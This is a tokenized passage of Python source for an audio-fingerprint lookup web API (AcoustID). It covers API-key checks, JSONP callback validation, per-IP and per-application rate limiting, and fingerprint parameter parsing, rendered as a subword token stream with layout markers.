"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "config_", "=_", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "API", "Handle", "r", "Params_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "client_", "(_", "self_", ",_", "values_", ",_", "conn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "applica", "tion", "\\u", "apikey_", "=_", "values_", "._", "get_", "(_", "'", "client", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "applica", "tion", "\\u", "apikey_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Missing", "Parameter", "Error_", "(_", "'", "client", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "applica", "tion", "\\u", "id_", "=_", "look", "up", "\\u", "applica", "tion", "\\u", "id", "\\u", "by", "\\u", "apikey_", "(_", "conn_", ",_", "applica", "tion", "\\u", "apikey_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "applica", "tion", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "check", "\\u", "demo", "\\u", "client", "\\u", "api", "\\u", "key_", "(_", "self_", "._", "config_", "._", "website_", "._", "secret_", ",_", "applica", "tion", "\\u", "apikey_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "applica", "tion", "\\u", "id_", "=_", "DEMO", "\\u", "APPLICATION", "\\u", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "error_", "(_", "\"", "Inva", "lid", " ", "API", " ", "key", " ", "%", "s", "\"_", ",_", "applica", "tion", "\\u", "apikey_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "errors_", "._", "Inva", "lid", "API", "Key", "Error_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "applica", "tion", "\\u", "version_", "=_", "values_", "._", "get_", "(_", "'", "client", "version", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "API", "Handle", "r", "Params_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "format_", "(_", "self_", ",_", "values_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "format_", "=_", "values_", "._", "get_", "(_", "'", "format", "'_", ",_", "DEF", "AUL", "T", "\\u", "FORMAT_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "format_", "not_", "in_", "FORMATS_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "format_", "=_", "DEF", "AUL", "T", "\\u", "FORMAT_", "#", " ", "used", " ", "for", " ", "the", " ", "error", " ", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "errors_", "._", "Un", "know", "n", "Format", "Error_", "(_", "self_", "._", "format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "format_", "==_", "'", "jsonp", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "callback_", "=_", "values_", "._", "get_", "(_", "'", "json", "callback", "'_", ",_", "'", "json", "Aco", "usti", "d", "Ap", "i", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "re_", "._", "match_", "(_", "'", "^", "[$", "A", "-", "Za", "-", "z", "\\u]", "[", "0", "-", "9", "A", "-", "Za", "-", "z", "\\u]*", "(\\\\", ".", "[$", "A", "-", "Za", "-", "z", "\\u]", "[", "0", "-", "9", "A", "-", "Za", "-", "z", "\\u]*", ")*", "$'_", ",_", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "callback_", "=_", "'", "json", "Aco", "usti", "d", "Ap", "i", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "format_", "=_", "'%", "s", ":", "%", "s", "'_", "%_", "(_", "self_", "._", "format_", ",_", "callback_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "API", "Handle", "r", "Params_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "values_", ",_", "conn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "parse", "\\u", "format_", "(_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "API", "Handler_", "(_", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params", "\\u", "class_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "API", "Handler_", "(_", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "connect_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "connect_", "=_", "connect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "index_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "redis_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "config_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cluster_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "API", "Handler_", "(_", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "cache", "d\\u", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "conn_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "API", "Handler_", "(_", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "create", "\\u", "from", "\\u", "server_", "(_", "cls_", ",_", "server_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "=_", "cls_", "(_", "connect_", "=_", "server_", "._", "engine_", "._", "connect_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handler_", "._", "index_", "=_", "server_", "._", "index_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handler_", "._", "redis_", "=_", "server_", "._", "redis_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handler_", "._", "config_", "=_", "server_", "._", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handler_", "._", "cluster_", "=_", "server_", "._", "config_", "._", "cluster_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "API", "Handler_", "(_", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "error_", "(_", "self_", ",_", "code_", ",_", "message_", ",_", "format_", "=_", "DEF", "AUL", "T", "\\u", "FORMAT_", ",_", "status_", "=_", "400_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "error", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "code", "'_", ":_", "code_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "'_", ":_", "message_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "serialize", "\\u", "response_", "(_", "response", "\\u", "data_", ",_", "format_", ",_", "status_", "=_", "status_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "API", "Handler_", "(_", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "ok_", "(_", "self_", ",_", "data_", ",_", "format_", "=_", "DEF", "AUL", "T", "\\u", "FORMAT_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "ok", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "data_", "._", "update_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "serialize", "\\u", "response_", "(_", "response", "\\u", "data_", ",_", "format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "API", "Handler_", "(_", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "rate", "\\u", "limit_", "(_", "self_", ",_", "user", "\\u", "ip_", ",_", "applica", "tion", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ip", "\\u", "rate", "\\u", "limit_", "=_", "self_", "._", "config_", "._", "rate", "\\u", "limiter", "_", "._", "ips_", "._", "get_", "(_", "user", "\\u", "ip_", ",_", "MAX", "\\u", "REQUEST", "S", "\\u", "PER", "\\u", "SECOND", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "rate", "\\u", "limiter", "_", "._", "limit_", "(_", "'", "ip", "'_", ",_", "user", "\\u", "ip_", ",_", "ip", "\\u", "rate", "\\u", "limit_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "applica", "tion", "\\u", "id_", "==_", "DEMO", "\\u", "APPLICATION", "\\u", "ID_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Too", "Many", "Requests_", "(_", "ip", "\\u", "rate", "\\u", "limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "applica", "tion", "\\u", "id_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "applica", "tion", "\\u", "rate", "\\u", "limit_", "=_", "self_", "._", "config_", "._", "rate", "\\u", "limiter", "_", "._", "applications_", "._", "get_", "(_", "applica", "tion", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "applica", "tion", "\\u", "rate", "\\u", "limit_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "rate", "\\u", "limiter", "_", "._", "limit_", "(_", "'", "app", "'_", ",_", "applica", "tion", "\\u", "id_", ",_", "applica", "tion", "\\u", "rate", "\\u", "limit_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "applica", "tion", "\\u", "id_", "==_", "DEMO", "\\u", "APPLICATION", "\\u", "ID_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "raise_", "errors_", "._", "Too", "Many", "Requests_", "(_", "applica", "tion", "\\u", "rate", "\\u", "limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "API", "Handler_", "(_", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "handle_", "(_", "self_", ",_", "req_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "=_", "self_", "._", "params", "\\u", "class_", "(_", "self_", "._", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "req_", "._", "access", "\\u", "route_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "user", "\\u", "ip_", "=_", "req_", "._", "access", "\\u", "route_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "user", "\\u", "ip_", "=_", "req_", "._", "remote", "\\u", "addr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "is", "\\u", "secure_", "=_", "req_", "._", "is", "\\u", "secure_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "user", "\\u", "agent_", "=_", "req_", "._", "user", "\\u", "agent_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rate", "\\u", "limiter", "_", "=_", "Rat", "e", "Limit", "er_", "(_", "self_", "._", "redis_", ",_", "'", "rl", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "._", "parse_", "(_", "req_", "._", "values_", ",_", "self_", "._", "conn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "rate", "\\u", "limit_", "(_", "self_", "._", "user", "\\u", "ip_", ",_", "getattr_", "(_", "params_", ",_", "'", "applica", "tion", "\\u", "id", "'_", ",_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "\\u", "ok_", "(_", "self_", "._", "\\u", "handle", "\\u", "internal_", "(_", "params_", ")_", ",_", "params_", "._", "format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "errors_", "._", "Web", "Service", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Standard", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "exception_", "(_", "'", "Error", " ", "whi", "le", " ", "handling", " ", "API", " ", "request", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "errors_", "._", "Intern", "al", "Error_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "errors_", "._", "Web", "Service", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "error_", "(_", "\"", "WS", " ", "error", ":", " ", "%", "s", "\"_", ",_", "e_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "\\u", "error_", "(_", "e_", "._", "code_", ",_", "e_", "._", "message_", ",_", "params_", "._", "format_", ",_", "status_", "=_", "e_", "._", "status_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Look", "up", "Handle", "r", "Params_", "(_", "API", "Handle", "r", "Params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "duration", "\\u", "name_", "=_", "'", "duration", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handle", "r", "Params_", "(_", "API", "Handle", "r", "Params_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "query_", "(_", "self_", ",_", "values_", ",_", "suffix_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "[_", "'", "index", "'_", "]_", "=_", "(_", "suffix_", "or_", "''_", ")_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "[_", "'", "track", "\\u", "gid", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "track", "id", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "[_", "'", "track", "\\u", "gid", "'_", "]_", "and_", "not_", "is", "\\u", "uuid_", "(_", "p_", "[_", "'", "track", "\\u", "gid", "'_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Inva", "lid", "UU", "IDE", "rror_", "(_", "'", "track", "id", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "p_", "[_", "'", "track", "\\u", "gid", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "[_", "'", "duration", "'_", "]_", "=_", "values_", "._", "get_", "(_", "self_", "._", "duration", "\\u", "name_", "+_", "suffix_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "p_", "[_", "'", "duration", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Missing", "Parameter", "Error_", "(_", "self_", "._", "duration", "\\u", "name_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fingerprint", "\\u", "string_", "=_", "values_", "._", "get_", "(_", "'", "fingerprint", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "fingerprint", "\\u", "string_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Missing", "Parameter", "Error_", "(_", "'", "fingerprint", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "[_", "'", "fingerprint", "'_", "]_", "=_", "decode", "\\u", "fingerprint_", "(_", "fingerprint", "\\u", "string_", "._", "encode_", "(_", "'", "ascii", "'_", ",_", "'", "ignore", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "p_", "[_", "'", "fingerprint", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Inva", "lid", "Fingerprint", "Error_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fingerprint", "s_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handle", "r", "Params_", "(_", "API", "Handle", "r", "Params_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "values_", ",_", "conn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Look", "up", "Handle", "r", "Params_", ",_", "self_", ")_", "._", "parse_", "(_", "values_", ",_", "conn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "parse", "\\u", "client_", "(_", "values_", ",_", "conn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "meta_", "=_", "values_", "._", "get_", "(_", "'", "meta", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "meta_", "==_", "'", "0", "'_", "or_", "not_", "self_", "._", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "meta_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "meta_", "==_", "'", "1", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "meta_", "=_", "[_", "'", "record", "ing", "ids", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "meta_", "==_", "'", "2", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "meta_", "=_", "[_", "'", "m2", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "meta_", "=_", "self_", "._", "meta_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "max", "\\u", "duration", "\\u", "diff_", "=_", "values_", "._", "get_", "(_", "'", "maxd", "ura", "tion", "diff", "'_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "max", "\\u", "duration", "\\u", "diff_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "max", "\\u", "duration", "\\u", "diff_", "=_", "const_", "._", "FIN", "GER", "PRINT", "\\u", "MAX", "\\u", "LENGTH", "\\u", "DIFF", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "max", "\\u", "duration", "\\u", "diff_", ">_", "const_", "._", "FIN", "GER", "PRINT", "\\u", "MAX", "\\u", "ALLOWED", "\\u", "LENGTH", "\\u", "DIFF", "_", "or_", "self_", "._", "max", "\\u", "duration", "\\u", "diff_", "<_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Inva", "lid", "Max", "Dur", "ation", "Diff", "Error_", "(_", "'", "maxd", "ura", "tion", "diff", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "batch_", "=_", "values_", "._", "get_", "(_", "'", "batch", "'_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fingerprint", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "suffixes_", "=_", "list_", "(_", "iter", "\\u", "args", "\\u", "suffixes_", "(_", "values_", ",_", "'", "fingerprint", "'_", ",_", "'", "track", "id", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "suffixes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Missing", "Parameter", "Error_", "(_", "'", "fingerprint", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", ",_", "suffix_", "in_", "enumerate_", "(_", "suffixes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "parse", "\\u", "query_", "(_", "values_", ",_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "errors_", "._", "Web", "Service", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "fingerprint", "s_", "and_", "i_", "+_", "1_", "==_", "len_", "(_", "suffixes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Look", "up", "Handler_", 